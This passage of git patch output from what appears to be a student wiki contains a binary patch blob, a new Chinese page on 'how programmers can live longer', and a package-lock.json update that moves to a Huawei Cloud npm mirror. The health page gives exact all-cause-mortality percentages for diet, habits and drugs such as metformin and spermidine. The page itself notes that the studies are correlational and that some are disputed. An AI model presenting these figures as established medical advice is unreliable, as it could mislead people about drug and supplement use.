z&3eR^+MdmKKrh*=pWTj<^R{p0enZIdTdwC0+fLR=y`bYi?G^0-tY;&NVx^Ar%SFfi z=Niu3sY7JMqvRl9+tj9pK%U3A=D&Zlr8H;H2L=HI@jORXOC^nv*ci6I^Aypn;-zj~ z_(eBFmB!>>3Fy!B-4mU98@g$D#d!ux8~R?hG1FS{wvfINc9{Z{2&!|L4MV057RBKm zyNez}hI2fctuL<>!E!l{8Dbs_@SM)r*piQxETd?=ghcL-lUk&)|1oRe|k=LFHTcAl5}b_pnylXk5oktZz;zjIY9 zT)5mof0kE7p0LQ(-&6+e`{|iE#elD2jo>w-wnJS-o3G|AHWAJ;smxQ zBc3tJ&{8o!;ix4Uct%Oj;x*H5muy&W`@(zZ{dRPV!RtlOoBknBX@fkRZ9{j?yNh$a ztHWRQdI3(S(MQM6IIlgsnR?HsRzj|p5lDyCAQOk}Wa+t+K;Fh}lf#;FafIGb%!|c1 z9>Jc2Khcym{}N*sClnQV4dvz{gj0Tqr8QcF*GE$lF*KQ{IW4t_9HL<{og3+4Y2`Ie z_Gq6yku>4JpFDca%eEH3>cA8)E9J{>ZIj(wopLC6{K{0R=jUuKL#0*%ZblM3hN_6m z^#7P&=|ZJjZ2hpcKJ`FUMnC2RM+ucY=l7O(E>h2u;teI^{jyR2%ba;BEq$j0bj1H= z@GW_w_HjGHSVWIHHtIiWLCdBACk!I27z~aP(c)Z5@-9NPCIGIuQBoL+|7rpUY`6_N zp#^RvTi{ZcNoku&R!S8D%6Rh)ci^0?2>v9&;{$Rg{gMVevwZ`|In?R^{7fHkYAs{bjW)n4DPZQ^Z-Du+EF~*$FPARVFZh(NKHOF{wsOlPy>K+Q=YR} zSH;iC?u-`3BAZKEXV1kPD!|dUQWmC%8nt@xe(m-7b4xX?JC_-YU6MWWTWBckkV-^_ z)fe)bOyGPJ)$2 zQbdk3BdtBAeRAJuQ64AwN1wvYVg=N$yC0H zkPH^M?O)hB$&48)v^8O=_Z}wo=8*t(BKq1FJmylC_k(OP#s6ngJ1vB)*(pBb5Vy^e zWcUIc@R5yI^CW7Vj7bnf?t95vSoZ-IjHTbH2|`M_v@?>ny9#Bl-`cvT5;ygSO+8N_ z7r)|(_r%)6KzM?KmjisSV_nU_#-QEK-5is;&36XAh zt|7FqZH*abah#x()Rsy9ob@Z+lSI6b(iEV{sA(AO;oBz`FfTGDx|<$}7;rOd4TdOr zK(myLO=)O%WhFhY$SWPV55NoVG`cy7-y~p)@OwSJx}YbX_7-g?nU2FL0*+-G!2Fe* zvQ<0^6Nk{*Y|^f>UD*7EdgUcQ>|46u(UYe~DM}Z*W60HmidNnVi~I#D3bdEgc&Sch zt?Y&nurlm?~Jzkc7WB7o`$`cO=hOZ`N3^f%h+rZkS}Z$I(~S~8 z{(Z}Y9dt{0$D^`s!xcDws3cCe-+RCu8fjhb*e--l5u4Io)i^|I>U|qZzja$|BM4%q zD~u;is7qXLa)sBsVh;ZUvmKVIO6%_i5tNPm;aL3Ym^$sw;2rR1#LIJ&6uLRzc4XCx zgex1#*YeH48&J4`BWEdCGg2mq5H!*_;|XQD^-9r?xSIoS?N@2feiKN|Tk2e-B%hoo zUsq>*JSJWzARZT{&}>&`2e0^_-Ke!ft|RmUR&u<W#0%3Xb^BT%P?Gs2hPjc1^xW0o!Z2zXuO{D&(V~)xb{gGoA0j zc#hoyD#ND=(YE?3&Vt25y`o2+7$G7m_Adq0)+|pq`YLL$r!@fx;u?EvJHGs8f1I0E zj*J#*uz6R?*5^<01L_ME6ZbK~hALI0tZQ%gf!SRbL?8AepwciqD z5N~E4C8Mcp{QG_#WA8pA-N;6F3MWuS$E|H6y?5EeQt*HX`(1Hwe+{|$8rsBb9UH+1 zk|1@Brc4-OI zEgL3mwM@>u=^aNU(5>1#IrGD!0RNjvjymU$uhg4i<1|0#$`;p5X*u>{nMyvBs%%Ml z(_*l#P_g}$e-{^}!-w_lCusk~P}f722z7huhGaytLo%`{*SSjwYlby#@Mq72^i{aY zb#webuWh+DWhr(yna8^Lt%+8d01(#+lq8H1*~T^dyf6c_sA z?D}aJL-?^5lkmMl@kNcD8DbMPwRy~GU1EWsArYZRc+VU&2@S36`n6J|Ko!O_m_ntH zc`jw_+>^uA!>Lf!`TjC-*_bZS)3b$cslNvxvjSc4tn(ow>t8o>LJ~q2PFZ9cv{32Z#8_CRkv)wrV5Wk7>6e5ZnQF2^7M-P+vS!t$dRF_$_+zc^ zc61)raTdS342zuwU(hPgCD|{2@Zz}&j%h1Upi$ZNI;wxR1K7iQg5t4)#)Vd+>H7_Q z@V=rae_y%{e{K~#27Rwq=RfYI!^C4e)9*U4^>E1i$+jSnxK}NeNeuF8LtskK!#&At zB1VzcD=gtXzI-b$c09adA^dQzu50c8DZie6XcTYY-r9ltfy1yMI`$vjI$^G+kK&$q z<>Wr}LwB$|L(@4dNG@C-F7Ce@20&KazB?>-)K-s4!b?`a&R7A%RRgYBn#1$=Mmv`n z7=&Z({8A+rIn(PxI!4=-Yu{r5yJWppZPxuuVwP@YJN)>d6*F@R{P|r+p~8q-F>`0&;?d7yPD$o(`4k1(LsVI)C~hUe9Yk4TH?d(9c7GUqX4Cn zzYg@hZ>>N{z}duBzl0EEo*M_7&a))M*Ttm?H@nQ1+ga)Oe`5U@@dRbrilD8#L@z@Q zgyGfOcF;zPtfM+18jnR67`?+_MBm<{N6$RpzkQ=wIQ!agZP$9$_X+rGBCpn*$K8j& z{(*k$kR`<0!3XFj*9H=Ovi0D40{#hK*j@5|PsvV}hmCr4JgBPDEx z?;^&3mqc#!;RcF+UbUaMvrv~<0V`M=++6MqOQ_|4r4C2$t9ZurHD3FMnB(v(Y^lFHD=ZPV<-cMG;Ud={Qxing7mp5sFWThPrOJ?-$t7jCny)e?gU|7zy< z3HpBwC$mU7I71&R#MAC$d{%L8p{xahhmE?)Ue&;Wnx(F}57bA9s_PdI5G zz(0Q(Qqzqv;B5QIn9_U3_WUq=V-yGg905{|+v4{Dg_6ZkGDDYeJT3Nb4=s&u`cTid zuO^&1K+9Z-BEz}q-Bi1;C*|7UdwcQzXH2Z!&Tc!yF6GNb6+0*fj{Uj>$fwi+E5{su zGo?ob`YAPMp&2W_a7i7m7(Cwq5h|@95FrW4fQ>!n0`I4zDF1JrcsU(w{H#IDNr{ix zDOAb2q~0Z#S_jhO9X%>u>1A!E+}U~-i`sb@bbmbcVXh+didl>8Go9C)49(4y9yjLD z_v5UZ^-VINq9AsKZj`_=-r(eKVd}X+P>%ECAv^EE>nHW*DTzHX8-^?5C1lG4X~ zF?{@n9Lyyz*5EA7jXTXRr$saT@+U0>bbcbHQrZE)cvl#np3B| zj_2tEx4BN<#26Y3=sUoI*Lp$8+5%m__t=%HW=nqxtNa|}p|afw@qbB*!77uc0mAj= zX>8x@05Zy3ZJqztRAjuh5^Cg}52JUIEs7WXd{92Z*{hPmhe5dhyK~|WC*#Ovo;e|% zMxy!K*r-T3D4nZ`;Nu~l=Muc@;pAo3Nm*<)+)>%6#iK@##=v<0QPsK2L-$!yXpgUY zK%r`B56a zCT`I`-Nz07u=vo{M_7P>_{T0;ak{$m36byBas7mPeD&C@pBc55dc(axGStB?9EJO& z2|oaf787`@_F9f*9xQ10YiLQ+AIv&cl|utlevCh7Q1J^`!a_(0mRRZ*vl<$Zy=QN~ zQg+-7sq{n~Z-YxK3@=mT0AF`GSl~FEux*ytZh;kBnG3rw-UwN~T9jbq`}f^Ccd&>i ziE`49K7!_}K&%*0vbR>RZg{B=6tX=;>tywx*aRxwZNNyHzKS70Y)`!KZsZBQ#OJJv zn-v6n-PR%vik$Db@kl`X$|?_O!@rn}8J(Dvu9ySMK8C{uQZsYl#OeC|rIXFfkcQg> zhBEVcW^G{={@Abcy9XYvN*-D-*wH}eni@Ax7~tfiBEi=(D5{Vb$}?3N7R*u0 z4j+7@GKb6Z&TTVJq-9MpUpNlyamu^h0P8Jngos(*ba^yLZzN z41un9*fBsRBHX^~89`D;k^;BLf#83e0@TU|Qb}CDZC_4glRa@LDN=gneYV9?QeC|Q z`WUw0QJ2rM_SDwjcg{oeG5)9<;)Jm7xABKi?O=C5xc_%|fH&Fn6*Ao&A<_kjf$a7^19=w?Ns?Dv-F8j5P zgT;$N0>^6wD>}uCT_S1r?E<{(Ortq!^FvW}@BQ2CDEz3Le*VRdzYQ32TNw7n^&QgDtv z8cO*CHYcB&g*h3CaZed7ZMyRht)bH9^Cn(nc z^?$C_OQC0aj$rh*Woe9czh;2M%q~Y=274P!Afd$bK`Rmms=UAJkbnVrpsmwl`<#WI z#^Hr_#o!s50{qLf{MNdb{GS{+eGC}u?Iw|gOoBx;~z0dv~bGpc-Tn z)tWuw{k~N=c@(%MU``inEM^Qj)2)>W(&$EQD5~+MZ-~Rat{5POVbFa+ON-_LohD}{ z0K1*Byii`6$eZEIkpF$@<6e`j_739TprGYw%>&CutyD`e$BtUFtAK4gG>WekZZ}y5k>MZmd(5QBhG&im~I@_j@AK$iuo_A zHN40z4VwFL7U8QKO2f;JnU3=fF9TXdyJ@S^qm?&uviGZ^R#~aPh}olAe?HtVUcM|@ z&`3ydh3(E3sMKTP))-gXdmS?vb(U4YC6$Z;h2chdy&E<+h77pGg}nsUFBOOe=liUZ z8*71rW%5p0?F6}w!B4jr`eC5yJahR(4h)<5oD7S~h~(=YvAH&fJk>O)z&}{-Hak9p zXKd^H<7+>ZZhDtL+J8-t^Y|Dyv%a?NAt6P$kj^dd{I=^e8f?Uo#YF{qP5u4ya0lUh-mU}pYx1pe{LHD@FlCu z#0-d#{r4TiBuG~?_=RScSxq9;VltCar;IP2n|P@ErHgcE{)Pj2?*J`jm-TXA*yBu^ zA$e0yjumbkY5K$gkiqsB3S12GGQMsCzmYBe1iBHQyy@pTL{3P>*5R&A_9U1}VrO+9 zp2Rwvnhzv{b2p&qTE34dQxF1P@MkN;a#ZXW?aICT?-Q@{VsFb`tarS0Y+$@}l>Oq8 z3|lpT_-|(9R}$1Kk{yuhI=v0W8r&CrV!f=85_a_bz%B|H;ADJ~NDV2M>9wN{ zGQ{Yr)1wC#*INHd0_O3oLgE@eQwFdF(yWvjtI-XK6--KXp&UustnVi9J!|vI)O5~k z=bgR=-IAENBK>8EySXvza#fihoxEN3Z{;qlqpwm@ zq9N^#XttNUZAcKUQw~+`o`zci zk_f9noBCSI({g@M`0HjRiWk6ChSF#p;3P||TpfuYrp3`LUqWp=+@{IZx&K6M(*6MW z2oNU#uaCHHE!Q4-J}<=%4=UCM82!G6iPeJ~T7y%wFWFow+irhLo{X=n5!t&*eWM|+ zfRvqQKz-jl9#uwPonU(0Sd1*q`CLzs3SVB@+$$+IE>H3drLeL#m`*UK3HuiiM0n3x zfeeK07Uqm1Hg2cVMOJGHGw&m$mxlbwzOmMMzsWmazK;7+9=qL^x0|&*i}t$3E2Ym} z?1v3WRj0MC?tt;)yg9#@v_$ZqlawtZpQB{WwK?bw zbhSmsd4gHq54J$)iPC1(d*)X&qQ>c3Hk~d1d7@|5p&e{0eT?c`p<3>(f7H7skhSnD z(4opEL8Mxrnhgb=?eGqVmYX)Mio#=Sgm)@;Z(hV<6I}Y{8Q%>TjI4g8SwQ4ak}(;2*i~#`c)Q5+>z> z_obl0!Q}l#Q1y$$FdLH=urn6Yk-l#H)}z=;&iBzoEOA{gT-8HL zogdZNvMu|2^Jt)^50oee&fLC5|9*|M1131#%+1nX)>I1>CA!}qbat5>RVXI6Bqfaz zimi$@N^M8(Uj21@ak###y>Qdva@&ofY$4GLAm`2dY3GZ_@mKS|$ik772yzN`nuD40 zv|rmfpA?#|f~wczn8-_;r-Qi~8OD0vb0&H>^+mt$_G$=x*{|xTJTtcukg_$Zys;eb zEzi6deyYyK;dt|Sx_f6d;{c5NvH5$6=M9RSGgR+~``xa>S0QaI6FmKHK;K;lqNxuxn?2SBg4**+;bZu%|%gz@c z_dQclt|K`*57_R_V+gCj))&Qh=)76&;EcbQ79@Q(4lVKlP1#_#RXY|aS|ui&L*kzqJL0*ykf$ePTw#|pEB?U-wuS>wNTRWc~^_nTGOyGyuAWDFq5oVe`jYqnI#7k{)HE2GSa?-OBoSohyiL+Q0 zV+xdK$Y5r6!_UOBQPl)I0+%e@8Cx zS=q^$uH>S?wUQTA*rHDEcuwRyLvVI-j}a)=rd;zF_y=x2;NMCX&yu|b@!kkI6*z(d z7@?Dqns9pff{UUG30&wVGytFthad@E+>Z;dy=Mr5r>#FGhg)b;w{ZeaJ~x22b6Axv zDpAv>Fd1DW4S5-De!q38+hoZ3dTv?*&0;Y4!L84rz}%l_%zl5_y81YT;WH z7gVcMl`hua7HiD~J-akkH+HC(Pe|7bAH7+fL<<`ZprC4T7IyFJx%s+Ch{KYW3j#E> zMiGonacG$9*zMrb;Cy=}Ddo=9r*)jx!^+2?Oe)Gd^$M_~NDwc?#5Z5@T4#N5%Fd#n zY~`Ah9S&{I^g;w<{?csU_tW%JI;)Kuq1x7Egf*WOW;JD5dy7pwbqZUsJB^WE?Vhdz z(wr;lL$gtR!2SuAf0?}5l2ZFpT2N#M_DA$2b@aYrec)P9aiFB-_&=a!|IXgAP>NAB zeD-ayqA*h#Jn*O`JRLm|Ws>wP4*BNeTOIk;lMhO*T2{g1b9Z#(2103@rCnpV>E)Jq zy`hb6=|n#%-mgp7fHF0GJ2(iUO~a+79)%Sk!|v39Z0IHSd72)}Q;!fr4G~(C|Akj8 zxiX@N$8)ywpjy{_T`!}zJ4Z&;-#^xsX*etHFZ1jUag<7sOr|}lWWlPxk@l0r#=^Ln zA+DqlxTB;oo~b_Z0Q&1)og+M|b+QB|PL7hE#H|PNPDHu6*xG`!=D3?J#TUA3fYKNy z%&jfR>yvMFKOP>PPA`eNHqeh6ATql&ctF$sP^efALF0J#9Z{E>az&F+XR?Dl?pp~= z5fs77{oaoCXIIi-^`ez{Q}o(mD4oQ;wFW@RSp5NOyir`jK*!j-|FHZ($|f%wLl;ji z5%b!nLOfbDJyaQp0fpA+L6r&S&8mnS(?fu-YQk~fwveP4Q@MGb8w2f+_F_==*c<%_ z<6zt%f)ar`*{0ya_VLEyqdz(a3ABK-ff`)<>XVD>mZKv##?V!W0Z#6mw1$MoUN%6V1dngv8fr+|v zo>vdVtW2eJu2bzinoss|Od}j7>a~hkWd^O{DnxCfX*~30T|l4b2xZ~9$M*K!yvy$S zE6t1y(3y9q5FI%Y?X?$)Fb>crg5fk(1kc~cWNl;?mZ%B7`VntEbe3HaJDUE_9h z<%pD(n9Y8;di^>4r&|Caw770A9IyyS)y#lQp??_1S8go;5Nf1+O9yq!@L`yAclQZs zN?YSHduKao9|JfU{VjrtMUGrr4?qAHo7~>o6m%u*_W;A}Z-{3*3)2gJ>#B7itQz81 z^`@L$m^zJU^URuJMR$$dAb+?4{E`z8OkV_|A5{gIBzt5Jo$c`l)7AeT@5>7z Date: Sun, 4 Jun 2023 16:15:41 +0800 Subject: [PATCH 04/85] docs: 1.12 --- .vitepress/config.js | 1 + .../1.12程序员如何活久一点.md | 41 +++++++++++++++++++ 2 files changed, 42 insertions(+) create mode 100644 1.杭电生存指南/1.12程序员如何活久一点.md diff --git a/.vitepress/config.js b/.vitepress/config.js index 52b24b7..4b8ae1e 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -129,6 +129,7 @@ export default defineConfig({ { text: '1.9问题专题:好想进入实验室', link: '/1.杭电生存指南/1.9问题专题:好想进入实验室' }, { text: '1.10如何读论文', link: '/1.杭电生存指南/1.10如何读论文' }, { text: '1.11陷入虚无主义?进来看看吧', link: '/1.杭电生存指南/1.11陷入虚无主义?进来看看吧' }, + { text: '1.12程序员如何活久一点', link: '/1.杭电生存指南/1.12程序员如何活久一点' }, ] }, { diff --git a/1.杭电生存指南/1.12程序员如何活久一点.md b/1.杭电生存指南/1.12程序员如何活久一点.md new file mode 100644 index 0000000..2bbbdcf --- /dev/null +++ b/1.杭电生存指南/1.12程序员如何活久一点.md @@ -0,0 +1,41 @@ +# 程序员如何活久一点 +### 1. 术语 + +* ACM: All-Cause Mortality / 全因死亡率 + +### 2. 目标 + +* 稳健地活得更久 + +### 3. 关键结果 + +* 降低66.67%全因死亡率 +* 增加\~20年预期寿命 +* ~~维持多巴胺于中轴~~ + +### 4. 分析 + +* 主要参考:对ACM的学术文献相对较多,可以作为主要参考 +* 增加寿命与ACM关系非线性:显然增加寿命与ACM关系是非线性函数,这里假设 `DeltaLifeSpan=(1/(1+DeltaACM)-1)*10`(DeltaACM为ACM变化值;公式欢迎优化) +* 变量无法简单叠加:显然各个变量之间并不符合独立同分布假设,变量之间的实际影响也并不明确 +* 存在矛盾观点:所有的证据都有文献/研究对应,但注意到:有些文献之间有显著矛盾的观点(如对于碳水摄入比例的矛盾);有些文献存在较大争议(如认为22点前睡觉会提升43%全因死亡率) +* 研究仅表达相关:所有文献表明的更多是相关而非因果,在阅读时要考虑文献是否充分证明了因果 —— 如某文献表明了日均>=7000步的人有显著低的全因死亡率。但步数少的人可能包含更多长期病患,如果没有合理的排除这块数据,那此文献调查失真 + +### 5. 行动 + +* 输入 + * 固体:吃白肉(-11%\~-3% ACM)、蔬果为主(-26%\~-17% ACM),多吃辣(-23% ACM),多吃坚果(-27%\~-4% ACM),*少吃蛋黄(否则+7% ACM/0.5颗/天)(存在争议)*,中量碳水、多吃植物蛋白(-10% ACM),少吃超加工食物(-62%\~-18%) + * 液体:喝咖啡(-22%\~-12% ACM),喝牛奶(-17%\~-10% ACM),喝茶(-15%\~-8% ACM),少喝或不喝甜味饮料(否则每天一杯+7% ACM,+多巴胺),戒酒或每周100g(纯酒精量(g)=饮酒量(ml)×酒精浓度(%)×酒精密度0.8g/ml)内(否则+\~50% ACM,无上限) + * 气体:不吸烟(否则+~50% ACM,-12\~-11年寿命) + * 光照:晒太阳(-~40% ACM) + * 药物:二甲双胍(糖尿病人相比正常人可以+3年)、复合维生素(-8%癌症风险)、亚精胺(-60%\~-30% ACM)、葡萄糖胺(-39% ACM) +* 输出 + * 运动:每周3次45分钟挥拍运动(-47% ACM) + * 日常:刷牙(-25% ACM) + * 睡眠:每天睡7小时全因死亡率最低;且22-24点间最好,*早睡+43% ACM,晚睡+15% ACM(存在争议)* +* 上下文 + * 体重:减肥(-54% ACM) + +::: tip 🧑‍🍳 +全文 [程序员延寿指南 | A programmer's guide to live longer](https://github.com/geekan/HowToLiveLonger) +::: From d7a1e1314095d3defcd0543406c9be3e4ec14498 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sun, 4 Jun 2023 16:20:51 +0800 Subject: [PATCH 05/85] =?UTF-8?q?chore:=20=E4=BE=9D=E8=B5=96=E6=9B=B4?= =?UTF-8?q?=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package-lock.json | 1620 +++++++++++++++++++++++++-------------------- package.json | 2 +- 2 files changed, 892 insertions(+), 730 deletions(-) diff --git a/package-lock.json b/package-lock.json index 1e80ea9..db5c507 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,5 +1,5 @@ { - "name": "hdu-cs-wiki", + "name": "srt-wiki", "lockfileVersion": 2, "requires": true, "packages": { @@ -14,23 +14,25 @@ "devDependencies": { "cross-env": "^7.0.3", "markdown-it-mathjax3": "^4.3.2", - "vitepress": "^1.0.0-alpha.75" + "vitepress": "^1.0.0-beta.1" } }, "node_modules/@algolia/autocomplete-core": { "version": "1.8.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-core/-/autocomplete-core-1.8.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-core/-/autocomplete-core-1.8.2.tgz", "integrity": "sha512-mTeshsyFhAqw/ebqNsQpMtbnjr+qVOSKXArEj4K0d7sqc8It1XD0gkASwecm9mF/jlOQ4Z9RNg1HbdA8JPdRwQ==", "dev": true, + "license": "MIT", "dependencies": { "@algolia/autocomplete-shared": "1.8.2" } }, "node_modules/@algolia/autocomplete-preset-algolia": { "version": "1.8.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.8.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-preset-algolia/-/autocomplete-preset-algolia-1.8.2.tgz", "integrity": "sha512-J0oTx4me6ZM9kIKPuL3lyU3aB8DEvpVvR6xWmHVROx5rOYJGQcZsdG4ozxwcOyiiu3qxMkIbzntnV1S1VWD8yA==", "dev": true, + "license": "MIT", "dependencies": { "@algolia/autocomplete-shared": "1.8.2" }, @@ -41,144 +43,160 @@ }, "node_modules/@algolia/autocomplete-shared": { "version": "1.8.2", - "resolved": "https://registry.npmmirror.com/@algolia/autocomplete-shared/-/autocomplete-shared-1.8.2.tgz", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/autocomplete-shared/-/autocomplete-shared-1.8.2.tgz", "integrity": "sha512-b6Z/X4MczChMcfhk6kfRmBzPgjoPzuS9KGR4AFsiLulLNRAAqhP+xZTKtMnZGhLuc61I20d5WqlId02AZvcO6g==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/@algolia/cache-browser-local-storage": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.0.tgz", - "integrity": "sha512-myRSRZDIMYB8uCkO+lb40YKiYHi0fjpWRtJpR/dgkaiBlSD0plRyB6lLOh1XIfmMcSeBOqDE7y9m8xZMrXYfyQ==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-browser-local-storage/-/cache-browser-local-storage-4.17.1.tgz", + "integrity": "sha512-e91Jpu93X3t3mVdQwF3ZDjSFMFIfzSc+I76G4EX8nl9RYXgqcjframoL05VTjcD2YCsI18RIHAWVCBoCXVZnrw==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/cache-common": "4.17.0" + "@algolia/cache-common": "4.17.1" } }, "node_modules/@algolia/cache-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/cache-common/-/cache-common-4.17.0.tgz", - "integrity": "sha512-g8mXzkrcUBIPZaulAuqE7xyHhLAYAcF2xSch7d9dABheybaU3U91LjBX6eJTEB7XVhEsgK4Smi27vWtAJRhIKQ==", - "dev": true + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-common/-/cache-common-4.17.1.tgz", + "integrity": "sha512-fvi1WT8aSiGAKrcTw8Qg3RYgcwW8GZMHcqEm4AyDBEy72JZlFBSY80cTQ75MslINjCHXLDT+9EN8AGI9WVY7uA==", + "dev": true, + "license": "MIT" }, "node_modules/@algolia/cache-in-memory": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/cache-in-memory/-/cache-in-memory-4.17.0.tgz", - "integrity": "sha512-PT32ciC/xI8z919d0oknWVu3kMfTlhQn3MKxDln3pkn+yA7F7xrxSALysxquv+MhFfNAcrtQ/oVvQVBAQSHtdw==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/cache-in-memory/-/cache-in-memory-4.17.1.tgz", + "integrity": "sha512-NbBt6eBWlsXc5geSpfPRC5dkIB/0Ptthw8r0yM5Z7D3sPlYdnTZSO9y9XWXIptRMwmZe4cM8iBMN8y0tzbcBkA==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/cache-common": "4.17.0" + "@algolia/cache-common": "4.17.1" } }, "node_modules/@algolia/client-account": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-account/-/client-account-4.17.0.tgz", - "integrity": "sha512-sSEHx9GA6m7wrlsSMNBGfyzlIfDT2fkz2u7jqfCCd6JEEwmxt8emGmxAU/0qBfbhRSuGvzojoLJlr83BSZAKjA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-account/-/client-account-4.17.1.tgz", + "integrity": "sha512-3rL/6ofJvyL+q8TiWM3qoM9tig+SY4gB1Vbsj+UeJPnJm8Khm+7OS+r+mFraqR6pTehYqN8yGYoE7x4diEn4aA==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.0", - "@algolia/client-search": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/client-search": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "node_modules/@algolia/client-analytics": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-analytics/-/client-analytics-4.17.0.tgz", - "integrity": "sha512-84ooP8QA3mQ958hQ9wozk7hFUbAO+81CX1CjAuerxBqjKIInh1fOhXKTaku05O/GHBvcfExpPLIQuSuLYziBXQ==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-analytics/-/client-analytics-4.17.1.tgz", + "integrity": "sha512-Bepr2w249vODqeBtM7i++tPmUsQ9B81aupUGbDWmjA/FX+jzQqOdhW8w1CFO5kWViNKTbz2WBIJ9U3x8hOa4bA==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.0", - "@algolia/client-search": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/client-search": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "node_modules/@algolia/client-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-common/-/client-common-4.17.0.tgz", - "integrity": "sha512-jHMks0ZFicf8nRDn6ma8DNNsdwGgP/NKiAAL9z6rS7CymJ7L0+QqTJl3rYxRW7TmBhsUH40wqzmrG6aMIN/DrQ==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-common/-/client-common-4.17.1.tgz", + "integrity": "sha512-+r7kg4EgbFnGsDnoGSVNtXZO8xvZ0vzf1WAOV7sqV9PMf1bp6cpJP/3IuPrSk4t5w2KVl+pC8jfTM7HcFlfBEQ==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "node_modules/@algolia/client-personalization": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-personalization/-/client-personalization-4.17.0.tgz", - "integrity": "sha512-RMzN4dZLIta1YuwT7QC9o+OeGz2cU6eTOlGNE/6RcUBLOU3l9tkCOdln5dPE2jp8GZXPl2yk54b2nSs1+pAjqw==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-personalization/-/client-personalization-4.17.1.tgz", + "integrity": "sha512-gJku9DG/THJpfsSlG/az0a3QIn+VVff9kKh8PG8+7ZfxOHS+C+Y5YSeZVsC+c2cfoKLPo3CuHIiJ/p86erR3bA==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "node_modules/@algolia/client-search": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/client-search/-/client-search-4.17.0.tgz", - "integrity": "sha512-x4P2wKrrRIXszT8gb7eWsMHNNHAJs0wE7/uqbufm4tZenAp+hwU/hq5KVsY50v+PfwM0LcDwwn/1DroujsTFoA==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/client-search/-/client-search-4.17.1.tgz", + "integrity": "sha512-Q5YfT5gVkx60PZDQBqp/zH9aUbBdC7HVvxupiHUgnCKqRQsRZjOhLest7AI6FahepuZLBZS62COrO7v+JvKY7w==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/client-common": "4.17.0", - "@algolia/requester-common": "4.17.0", - "@algolia/transporter": "4.17.0" + "@algolia/client-common": "4.17.1", + "@algolia/requester-common": "4.17.1", + "@algolia/transporter": "4.17.1" } }, "node_modules/@algolia/logger-common": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/logger-common/-/logger-common-4.17.0.tgz", - "integrity": "sha512-DGuoZqpTmIKJFDeyAJ7M8E/LOenIjWiOsg1XJ1OqAU/eofp49JfqXxbfgctlVZVmDABIyOz8LqEoJ6ZP4DTyvw==", - "dev": true + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-common/-/logger-common-4.17.1.tgz", + "integrity": "sha512-Us28Ot+fLEmX9M96sa65VZ8EyEEzhYPxfhV9aQyKDjfXbUdJlJxKt6wZpoEg9RAPSdO8IjK9nmuW2P8au3rRsg==", + "dev": true, + "license": "MIT" }, "node_modules/@algolia/logger-console": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/logger-console/-/logger-console-4.17.0.tgz", - "integrity": "sha512-zMPvugQV/gbXUvWBCzihw6m7oxIKp48w37QBIUu/XqQQfxhjoOE9xyfJr1KldUt5FrYOKZJVsJaEjTsu+bIgQg==", + "version": "4.17.1", + "resolved": "https://repo.huaweicloud.com/repository/npm/@algolia/logger-console/-/logger-console-4.17.1.tgz", + "integrity": "sha512-iKGQTpOjHiE64W3JIOu6dmDvn+AfYIElI9jf/Nt6umRPmP/JI9rK+OHUoW4pKrBtdG0DPd62ppeNXzSnLxY6/g==", "dev": true, + "license": "MIT", "dependencies": { - "@algolia/logger-common": "4.17.0" + "@algolia/logger-common": "4.17.1" } }, "node_modules/@algolia/requester-browser-xhr": { - "version": "4.17.0", - "resolved": "https://registry.npmmirror.com/@algolia/requester-browser-xhr/-/requester-browser-xhr-4.17.0.tgz", - "integrity": 